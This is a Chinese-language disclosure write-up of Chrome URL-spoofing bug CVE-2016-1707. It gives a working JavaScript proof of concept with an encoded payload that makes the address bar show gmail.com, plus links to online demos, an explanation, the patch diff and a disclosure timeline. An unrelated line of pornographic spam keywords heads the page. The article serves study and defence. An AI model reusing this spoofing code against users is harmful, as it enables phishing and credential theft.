自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Chrome瀏覽器地址欄欺騙漏洞(CVE-2016-1707)

安全 漏洞
Chrome瀏覽器地址欄欺騙漏洞(CVE-2016-1707),這個漏洞筆者于2016年6月報告給Google,現(xiàn)在把漏洞細節(jié)分享給大家。URL Spoofing漏洞可以偽造一個合法的網(wǎng)站地址。攻擊者可以利用這個漏洞對用戶發(fā)起網(wǎng)絡釣魚攻擊。

Chrome瀏覽器地址欄欺騙漏洞(CVE-2016-1707),這個漏洞筆者于2016年6月報告給Google,現(xiàn)在把漏洞細節(jié)分享給大家。URL Spoofing漏洞可以偽造一個合法的網(wǎng)站地址。攻擊者可以利用這個漏洞對用戶發(fā)起網(wǎng)絡釣魚攻擊。

受影響版本:Chrome < v52.0.2743.82,IOS < v10

0x01 漏洞詳情

  1. POC:  
  2. <script>  
  3. payload="PGJvZHk+PC9ib2R5Pg0KPHNjcmlwdD4NCiAgICB2YXIgbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBsaW5rLmhyZWYgPSAnaHR0cHM6Ly9nbWFpbC5jb206Oic7DQogICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChsaW5rKTsNCiAgICBsaW5rLmNsaWNrKCk7DQo8L3NjcmlwdD4=" 
  4. function pwned() {  
  5. var t = window.open('https://www.gmail.com/''aaaa');  
  6. t.document.write(atob(payload));  
  7. t.document.write("<h1>Address bar says https://www.gmail.com/ - this is NOT https://www.gmail.com/</h1>");  
  8.  
  9. </script>  
  10. <a href="https://hack.com::/" target="aaaa" onclick="setTimeout('pwned()','500')">click me</a><br> 

那么這個漏洞是如何發(fā)生的呢?筆者現(xiàn)在來解讀一下整個代碼的加載過程。首先點擊click me這個鏈接,瀏覽器去打開一個name為aaaa的新窗口,這個頁面去加載“https://hack.com::”,這個地址可以隨便寫。500微秒后運行pwned(),在aaaa窗口打開https://www.gmail.com,當然這個URL可以為空。到現(xiàn)在為止,一切代碼運行都很正常,接下來這段代碼就是觸發(fā)漏洞的核心代碼。

base64加密的這段代碼:

  1. base64 payload code:  
  2. <body></body>  
  3. <script>  
  4. var link = document.createElement('a');  
  5. link.href = 'https://gmail.com::' 
  6. document.body.appendChild(link);  
  7. link.click();  
  8. </script> 

接下來這段代開始在aaaa窗口頁面去提交(commit)https://gmail.com::,這是一個很奇妙的事情,https://gmail.com::本是一個無效的地址,如何去被提交呢。在嘗試了多種方法后,筆者發(fā)現(xiàn)使用a標簽點擊的方式可以做到(window.open/location則不可以),并且使這個無效地址處在了一個等待狀態(tài)(pending status)。此時,實際Chrome是加載了about:blank(已經(jīng)到了about:blank域),但在處理最后URL地址欄中的顯示時,Chrome卻選擇了處在等待狀態(tài)的https://gmail.com:: 作為最后的提交地址,加載后的https://gmail.com::在URL地址欄中會以https://gmail.com這樣的方式呈現(xiàn),兩個::會被隱藏。此時,整個加載過程完成。一個完美的URL Spoofing漏洞就這樣產(chǎn)生了。

Online demo:

http://xisigr.com/test/spoof/chrome/1.html

http://xisigr.com/test/spoof/chrome/2.html

如果你還沒有升級版本,Chrome < v52.0.2743.82,IOS < v10,那么可以嘗試運行筆者網(wǎng)站上的這兩個DEMO。

0x02如何修復

這個漏洞最關鍵的地方是,Chrome允許在Web頁面加載的時候,提交一個無效的地址所導致。Google也是基于此給出了補丁文件,就是在加載Web頁面的時候不允許提交無效地址,如果檢測到是無效地址,則直接使當前URL為about:blank。

  1. [self optOutScrollsToTopForSubviews];  
  2. // Ensure the URL is as expected (and already reported to the delegate).  
  3. - DCHECK(currentURL == _lastRegisteredRequestURL) //之前只是判斷了當前URL和最后請求的URL是否相同  
  4. + // If |_lastRegisteredRequestURL| is invalid then |currentURL| will be  
  5. + // "about:blank" 
  6. + DCHECK((currentURL == _lastRegisteredRequestURL) ||  
  7. + (!_lastRegisteredRequestURL.is_valid() && //增加判斷是否是一個無效的URL  
  8. + _documentURL.spec() == [url::kAboutBlankURL)](url::kAboutBlankURL)))  
  9. << std::endl  
  10. << "currentURL = [" << currentURL << "]" << std::endl  
  11. << "_lastRegisteredRequestURL = [" << _lastRegisteredRequestURL << "]" 
  12. // This is the point where the document's URL has actually changed, and  
  13. // pending navigation information should be applied to state information.  
  14. [self setDocumentURL:net::GURLWithNSURL([_webView URL])];  
  15. - DCHECK(_documentURL == _lastRegisteredRequestURL);  
  16.  
  17. + if (!_lastRegisteredRequestURL.is_valid() &&  
  18. + _documentURL != _lastRegisteredRequestURL) {  
  19. + // if |_lastRegisteredRequestURL| is an invalid URL, then |_documentURL|  
  20. + // will be "about:blank" 
  21. + [[self sessionController] updatePendingEntry:_documentURL];  
  22. + }  
  23. + DCHECK(_documentURL == _lastRegisteredRequestURL ||  
  24. + (!_lastRegisteredRequestURL.is_valid() &&  
  25. + _documentURL.spec() == url::kAboutBlankURL));  
  26.  
  27. self.webStateImpl->OnNavigationCommitted(_documentURL);  
  28. [self commitPendingNavigationInfo];  
  29. if ([self currentBackForwardListItemHolder]->navigation_type() == 

0x03 披露時間

2016/6/22 報送給Google,https://bugs.chromium.org/

2016/6/22 Google確認漏洞,漏洞級別High

2016/7/14 Google確認獎勵$3000

2016/7/20 Google發(fā)布安全公告,CVE-2016-1707

2016/10/2 Google公開漏洞

責任編輯:武曉燕 來源: 紅黑聯(lián)盟
相關推薦

2015-12-01 10:43:55

2020-10-21 11:48:22

欺騙漏洞

2009-07-16 14:13:35

Swing地址欄

2011-05-20 17:23:41

Chrome 13

2011-11-04 15:28:49

傲游瀏覽器

2017-01-03 20:13:02

2021-05-27 20:46:22

瀏覽器地址欄谷歌

2023-01-27 11:01:54

谷歌Chrome瀏覽器

2020-10-26 09:56:40

惡意攻擊手機瀏覽器地址欄欺騙

2010-08-27 09:47:07

谷歌

2012-08-05 17:13:47

傲游

2010-08-26 17:54:16

微軟

2011-06-16 11:15:04

2009-12-28 12:16:54

2013-11-27 15:38:14

IE瀏覽器故障

2011-02-21 14:10:50

Chrome

2023-02-02 16:35:36

微軟Edge瀏覽器

2009-12-16 10:04:51

Chrome瀏覽器漏洞

2020-12-09 09:32:03

漏洞黑客瀏覽器

2021-05-27 15:06:41

Chrome瀏覽器Google
點贊
收藏

51CTO技術棧公眾號